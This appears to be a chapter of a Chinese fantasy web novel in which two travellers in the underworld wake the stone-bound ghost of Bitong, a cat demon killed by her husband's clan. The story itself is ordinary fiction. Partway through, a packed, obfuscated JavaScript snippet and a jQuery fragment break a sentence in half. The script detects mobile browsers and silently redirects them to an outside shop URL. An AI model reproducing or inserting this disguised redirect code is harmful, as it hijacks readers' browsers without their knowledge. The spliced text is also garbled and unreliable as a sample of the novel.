雾气愈来愈浓,整个幽都似乎都被这浓重的雾笼罩,让人辨不清方向。
好在河水潺潺,一直在往北流淌。
幽都所有的大小河流,最后都会汇入承影湖。
妲己跟褚颜说过,当他们走完殷墟,会看到一片星空在湖泊里闪耀着,那湖里的星星就是死去的人类。当人世的牵绊、罪孽、念想全部都消清后,属于他们自己的那颗星子会灭掉,灭掉之后就能去轮回了。
远远望去,承影湖好比一个巨大的、沉默的星盘,无数星子闪烁在其间,有的黯淡无光,有的则明亮无比。
光芒越盛,放不下的羁绊也就越多。
除了七月十五当晚,几乎没有鬼会在别的时间来承影湖,湖边的灯笼都已经熄完了,雾气又重,褚颜见状,便化出了一只纱灯,提在手里。
光晕模糊地洒在四周,总算是能视物了。
湖面之上有一座断桥,一块人高的白色石头矗立在桥面与湖水相接的地方。
断桥极窄,要是两人并排着走会很拥挤,褚颜和殷止一前一后,往那石头走去。
走近了才发现,那石头并不是白色,而是表面上覆盖了一层薄薄的白霜,阴寒无比,而在石头上端,能隐隐约约看到一点似人的五官。
一颗珍珠大小的水珠状东西凝固在石像上,是石泪。
“如何能唤醒她呢?”褚颜伸手,想帮石像拭去这滴泪珠,但是想了想,又放下了。
方才她已经从殷止口中听过了,这女子便是他师父易鸿信的妻子。
碧瞳死于二十年前,被易鸿信的族人残忍杀害,一尸两命。
彼时易鸿信还是易家族长的儿子,是最有希望继承族长之位的出类拔萃的天才。
汝南庄氏、洛阳桑氏、安陆易氏,乃是九州东陆最负盛名的三个净妖世家,三家势力分散,并不相冲,不过因为桑氏和宫廷走得较近,自然压了另外两家一头。
而易鸿信生来桀骜不驯,虽然宫中几次派人来请,但他都不屑一顾,他从不为荣华停留,也不会听从高位者号令。他与他父亲有些不合,故而也鲜少待在家族之中,反而是四处奔走。据说他曾经为了寻一奇宝,独自前往漠北三年之久。
在众人都以为他死在了沙漠中、就连易家族长也沉不住气想派人去找他时,易鸿信却好手好脚地回来了,还带回了一个女子。
那女子便是碧瞳。
她本体是一只修为只有三百多年的三命猫妖,除了本命尾,她一条尾巴在渡雷劫时被劈断了,另一条则给了易鸿信。
易鸿信在沙漠中被一群蛇人驱赶,迷失了方向,又遇上沙尘暴,半截身子埋在沙土里,只差临门一脚便去见阎王爷了,好在碧瞳经过这里,救下了他。
其实在这之前,碧瞳已经偷偷跟踪易鸿信好几天了,他是碧瞳刚出界门遇见的第一个人类,难免好奇,便一直尾随在他身后,想看看这人来到这大漠之中究竟所为何事。
或许是她一时鬼迷心窍,又或许她是被当时还年轻俊朗的易鸿信给蒙了眼,总之碧瞳就是取下了自己的一条尾巴,将易鸿信离体的魂给救了回来。
她秉承着做好事不留名的原则,见易鸿信快要醒了,便隐去了身形。
只是像她那样修为低下的小妖,怎么可能瞒得过易鸿信的眼睛,他虽然伤口还未痊愈,但还是嗅到了身边的妖气,无奈之下,碧瞳只好现了形。
她穿着一袭翠绿衣衫,两靥如花,连眼瞳也恍若碧波,因为害怕,她皱着眉,手指紧紧地抓着衣袖,模样有些瑟缩。
易鸿信就像长途跋涉后见到绿洲的疲惫旅人,只是一眼,便再也移不开眼睛了。
后面的事自然是水到渠成,以除妖为己任的净妖师,和一只猫妖相爱了。
这三年里,碧瞳陪着他走过沙漠,跨过戈壁,行过草木炎凉。沿途所有的风景都是某种恩赐,碧瞳觉得,除了顺利化形外,遇到易鸿信是她这辈子最幸运的事了。
她知道易鸿信是净妖师,也从来不反对他收妖,人人都有自己坚守的道心,而她不忍用爱作为枷锁,去束缚易鸿信。
等两人回到安陆时,碧瞳已经有了四个月的身孕。
易鸿信自知若是回了家族,族长必然会大发雷霆,极力反对他和碧瞳,于是让碧瞳在城外等他,自己则前往族中,打算道出实情后,和家族断绝关系,带着碧瞳远走高飞。
想必他会被族长施以族法,不过他毕竟是族长的亲儿子,不会下死手。而易鸿信的母亲是外家人,自幼不受家族重视,就连族长也是见他展示出捉妖天赋后,才将他接回本家。族长娶了很多房小妾,膝下儿女无数,那些人一直对易鸿信有诸多不满,没拿他当亲兄弟看过,每次他回家族,总能听到不少的闲言碎语。
易鸿信对易家还真没有什么太深厚的感情,若不是他娘还在世时,没日没夜地在他耳边念叨什么“要认祖归宗,叶落归根”之类的话,他是不会听从家族指使的。
易家在祖上时,曾有一位前辈便是与狐妖相恋,结果那狐妖却欺骗了此人的感情,引诱他走火入魔,最后他疯癫失控,持着剑将家族中近三分之一人都屠杀殆尽,那人清醒后自知犯下滔天大罪,无可弥补,最后当着数百族人的面,含恨自刎。
而那只狐妖也在之后被族中长老抓到,先是用锁妖链捆住关押在水狱半年,接着在那前辈的忌日,燃起了熊熊大火,将狐妖绑在火柱之上,活活将她给烧死了。
但易鸿信不知道的是,在他刚进安陆城中时,便被族里的暗桩发现,将碧瞳的藏身地点用联络符送去了族长手里。
果不其然,族长震怒,命人将易鸿信看住,自己则提着剑就去找碧瞳了。
等易鸿信浑身是血地从宗族祠堂中逃出来,正看见他的妻子,被他的父亲提在手里——碧瞳已经被打回了原型,尾巴也被生生砍断,那双柔软又漂亮的绿色眼瞳半睁着,眼神涣散,已经没了气息。
暴雨如注,天地间挂起一幕厚重的水帘,倾泻而下,势不可挡,那是易鸿信生平所见的最大的一场雨。
族长见他赶来,心一狠,将碧瞳的尸体连带着妖丹,一起震碎了。
易鸿信目眦欲裂,他灵脉已经破碎,伤势严重,但他愣是强撑着一口气,重伤了易家族长,对方的左臂都被他给一剑砍断。
可是,碧瞳的妖丹已经化为齑粉,再也无力回天。
自此,易鸿信和易家彻底一刀两断,老死不相往来,而族长也在那一战中被易鸿信一剑刺进了心脉要处,就算之后搜集了天灵地宝养着,没出两年,便也撒手人寰了。
碧瞳死的那晚,易家宗族祠堂里,众长老先辈的灵牌同时破碎,血光漫天,黑云一连笼罩三日不散。
或许是冥冥之中自有定数,易家的气运也莫名走到了尽头,不过短短七年,便被另一个籍籍无名的小家族吞并,只是那家恰好也姓易,便保留了原本的族号,如今的安陆易氏,早已不是二十年前那个易氏了。
除了族里还有两个原本的长老健在外,其他族人都被大换血,那些人被贬斥的贬斥,被流放的流放,可谓是凄惨异常。
易鸿信则是来到了荆州莲城外的一个小村落,在那里隐姓埋名,他在后山给碧瞳立了座衣冠冢。之后他整日饮酒,醉得不知人间第几天,就这样迷迷糊糊、颓废地过了五年。
那时他已经过了而立。
易鸿信在人生最美好、最神采飞扬的年纪里,失去了自己的妻子和尚未出生的孩子,背宗叛族,痛苦地过着懊丧零落的生活。
每到夜晚,愧疚和自责就如同淬了盐水的鞭子,抽得他的心脏火辣辣地痛。他在混沌中踉跄而行,像是一个在冰天雪地中丧失光明的瞎子,崩溃地大哭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549924|204297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大喊,将所有伸向他的手都远远地抛在身后。
他跑得昏天黑地、不辨日夜,等泪流满面挣扎着惊醒后,却发现他还是伶仃地躺在破旧茅屋中的木床之上。
负面情绪如潮打空城,寂寞回声震耳欲聋,直到……直到他救下了那只被村民围殴攻打的、抱着一个婴儿的兔妖。
再之后就是捡……遇到殷止、纳明——易鸿信生命里的空缺渐渐被填满,笑容也重现于脸,虽然他那几个徒弟一个比一个能上房揭瓦,但他总算不再死气沉沉了。
而殷止这次来到殷墟,便是去找他的师娘碧瞳。易鸿信之前抓了个鬼,从那鬼口中探听到在冥界有一个奇女子,生前是只猫妖,死了二十年,每日都在承影湖边徘徊,用那双碧绿的眼瞳惆怅地望着来往过路的众鬼。
种种特征都和碧瞳对上,连死去的时间也一模一样,易鸿信身患宿疾,之前被震断的经脉虽然慢慢修复了,但也无法重回巅峰,他那具躯体承受不了穿越界门带来的损耗,也……也无颜面对因他过失而死的碧瞳,便让他的大徒弟殷止替他前往冥界,若那人真是碧瞳,便将信物交予她,劝说她投胎转世;若不是,自然最好。
承影湖的湖水随着风轻轻荡漾,水浪敲在断桥之上,沾湿了殷止和褚颜的靴底。
褚颜用手帕替石像轻轻擦掉表面凝结的白霜,石像一动不动,仿佛已经在湖边站了成千上万年。
这样叫是叫不醒的,于是殷止从怀里取出了一个包得很紧的布包,层层打开后,里面是一只碧玉发钗和一封书信。
他指尖往发钗上点了一下,那玉钗便发出了微微的亮光,一圈一圈往外飘去,而后落到了石像上面。
这玉钗上有易鸿信的气息。
蓦地,那石像便碎裂开来,像是蝴蝶挣破茧蛹,石片簌簌剥落,噼噼啪啪地掉进了湖里。
这下,两人总算看清了被石头包裹的人的模样。
是个妙龄女子,她睫毛上还挂着细小的灰屑,一口白气从她嘴里呼了出来,下一瞬,她便睁开了眼。
这女子有着一双碧绿的眼瞳,如同春日里柳稍上那朵冒出的最嫩的芽尖,她眼波是软的,眼底是冷的,往深处看像是死了,却又有什么东西在灼灼地燃烧着。
“你们不是我要等的人,”良久,碧瞳才开了口,她太久没说话,嗓音又干又哑,她目光往下移,在看到殷止手中的玉钗后又倏地亮起一道微弱的光,“那是……那是鸿信赠予我的发钗。”
像是垂死之人抓到了稻草一般,碧瞳颤抖着伸出手,将那钗和书信一并拿了过来,紧贴在胸口,淡淡的绿光水波一样围绕着她。
一切已无需多言,碧瞳平复好情绪后,缓缓将书信打开。
她看得很慢,一个字一个字地嚼过去,再细细地咽进肚子里,仿佛这样就能一点点修复好那个存在了二十年的空洞。
湖边唯有风声呼啸,亘古以来,无人旷野上吹过的就是这样的风。
而后平地起高楼,日月换新颜,幽都的鬼轮回了一波又一波,不变的唯有风声,或许还有四下无人的孤独感。二十年对碧瞳来说,并不算什么,若是可以,她愿意等上三十年,四十年,五十年……
其实碧瞳对书信的内容早有预料,因而倒是不怎么难以接受,只感到一种释然的悲哀。
承影湖的水太冷,没有鬼会靠近,但众鬼都说,每个鬼在轮回前都会来湖边看看属于自己的星星,因此碧瞳便在这里等着了。
人死后是鬼,妖死后也是鬼,冥界是众生最后的归宿。
碧瞳的双腿被夜露冻僵,脸上也覆了霜雪,幽都没有四季,天亮之时会升起无力的日光,有时也会刮风下雨,唯有承影湖,朝暮如冬。
久而久之,她便化成了一尊石像,她于灵魂深处生发出的呐喊囿于石壁间,无法打动任何人,也无法传出幽都。